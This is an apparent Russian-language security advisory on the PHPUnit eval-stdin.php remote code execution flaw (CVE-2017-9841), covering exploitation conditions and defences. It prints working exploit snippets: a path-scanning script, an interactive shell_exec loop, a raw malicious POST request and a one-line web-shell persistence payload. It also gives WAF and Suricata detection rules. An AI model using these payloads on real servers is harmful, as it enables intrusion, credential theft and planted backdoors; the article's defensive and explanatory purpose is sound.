Уязвимость компонента Util/PHP/eval-stdin.php фреймворка PHPUnit
Уязвимость компонента Util/PHP/eval-stdin.php фреймворка PHPUnit
Категория: Программы Теги: Уязвимости Опубликовано: 25 июня 2025

Уязвимость BDU:2021-04398 (CVE-2017-9841) PHPUnit

Уязвимость BDU:2021-04398 (CVE-2017-9841) компонента Util/PHP/eval-stdin.php фреймворка PHPUnit связана с некорректной обработкой входящих данных. Она позволяет удалённому злоумышленнику выполнить произвольный PHP-код через специально сформированный HTTP POST-запрос. Уязвимы версии PHPUnit ≤ 4.8.27 и 5.0.0–5.6.3.

Анализ уязвимости

Уровень опасности: 9.8 (CRITICAL)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Attack Vector: Network) - Атака возможна через сеть без физического доступа

  • AC:L (Attack Complexity: Low) - Низкая сложность эксплуатации

  • PR:N (Privileges Required: None) - Не требуются привилегии

  • UI:N (User Interaction: None) - Не требуется участие пользователя

  • S:U (Scope: Unchanged) - Воздействие ограничено уязвимым компонентом

  • C:H (Confidentiality: High) - Полное нарушение конфиденциальности

  • I:H (Integrity: High) - Полное нарушение целостности

  • A:H (Availability: High) - Полное нарушение доступности

Условия эксплуатации

  1. Наличие уязвимой версии PHPUnit в production-среде (до 4.8.27 включительно и от 5.0.0 до 5.6.3)

  2. Доступность файла /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php через веб-сервер

  3. Возможность отправки HTTP POST-запросов к целевому серверу

  4. Отсутствие механизмов валидации входящих данных

Технический анализ эксплоитов

Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием уязвимости CVE-2017-9841.

1. phpunit-brute (сканирование уязвимых путей):

def test_url(url, urlpath):
    newurl = f"{url}{urlpath}"
    rawBody = "<?php phpinfo();"  # Тестовый payload
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    response = session.post(newurl, headers=headers, data=rawBody)
    if "PHP License" in response.text:  # Проверка успешности выполнения
        print(f"[+] Found RCE at {newurl}")
        open("found.txt", "a").write(f"{newurl}\n")

Принцип работы:

  • Перебирает пути из предустановленного списка (1000+ вариантов)

  • Отправляет POST-запрос с телом <?php phpinfo();

  • Обнаруживает уязвимые endpoints по наличию строки "PHP License" в ответе

Пример вредоносного запроса:

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

<?php phpinfo();

2. phpunit-shell (интерактивная эксплуатация):

def shell(address):
    while True:
        cmd = input("$ ")
        payload = f"<?php echo(shell_exec('{cmd}'));?>"
        upload = requests.post(address, data=payload)
        response = BeautifulSoup(upload.content, "html.parser")
        print(response)

Особенности:

  • Интерактивная оболочка для выполнения произвольных команд

  • Использует shell_exec() для выполнения системных команд

  • Автоматическая очистка вывода через BeautifulSoup

  • Поддержка прокси и пользовательских заголовков

Последствия успешной эксплуатации

  1. Полный контроль над сервером.

  2. Кража конфиденциальных данных:

    • Ключи БД (.envconfig.php)

    • Пользовательские сессии

    • SSL-сертификаты

  3. Установка персистентности:

    <?php file_put_contents('shell.php', '<?php system($_GET["c"]);?>');
  4. Атаки на внутреннюю инфраструктуру.

  5. Криптомайнинг и DDoS-атаки

Где встречается уязвимость?

  1. PHP-приложения с зависимостями через Composer

  2. Старые версии Laravel, Symfony, Yii

  3. Кастомные CMS с включёнными компонентами разработки

  4. Docker-образы без обновления зависимостей

Методы защиты

1. Обновление зависимостей:

# Для PHPUnit 4.x:
composer require phpunit/phpunit ^4.8.28

# Для PHPUnit 5.x:
composer require phpunit/phpunit ^5.6.4

2. Удаление уязвимых файлов из production:

# Поиск и удаление опасного файла:
find . -name "eval-stdin.php" -exec rm -f {} \;

3. Конфигурация веб-сервера (Nginx):

location ~* "eval-stdin\.php$" {
    deny all;
    return 403;
}

4. Правила для WAF (ModSecurity):

SecRule REQUEST_URI "@contains eval-stdin.php" \
    "id:1001,phase:1,deny,msg:'PHPUnit RCE Attempt'"

5. Правила для Suricata (IDS/IPS):

alert http any any -> any any \
    (msg:"PHPUnit RCE Exploit Attempt"; \
    flow:to_server; \
    content:"POST"; http_method; \
    content:"eval-stdin.php"; http_uri; \
    content:"<?php"; http_client_body; \
    sid:2000001; rev:1;)

6. Контроль доступа:

  • Запрет выполнения PHP в директориях vendor

  • Ограничение доступа к папкам разработки через IP-whitelist

  • Регулярный аудит зависимостей (OWASP Dependency-Check)

Рекомендации для разработчиков

  1. Никогда не включать dev-зависимости в production

  2. Использовать отдельные контейнеры для разработки и продакшна

  3. Регулярно обновлять зависимости:

    composer update --no-dev
  4. Реализовать Health Check API для проверки уязвимых компонентов

Заключение

BDU:2021-04398 (CVE-2017-9841) — критическая уязвимость, позволяющая получить полный контроль над сервером через выполнение произвольного кода. Основная причина эксплуатации — наличие компонентов разработки в production-среде. Для защиты требуется комплексный подход: обновление зависимостей, конфигурация веб-сервера и применение сигнатур IPS/WAF. Регулярный аудит зависимостей и принцип минимальных привилегий должны стать стандартными практиками в DevOps-процессах.

Алексей Черемных Алексей Черемных
44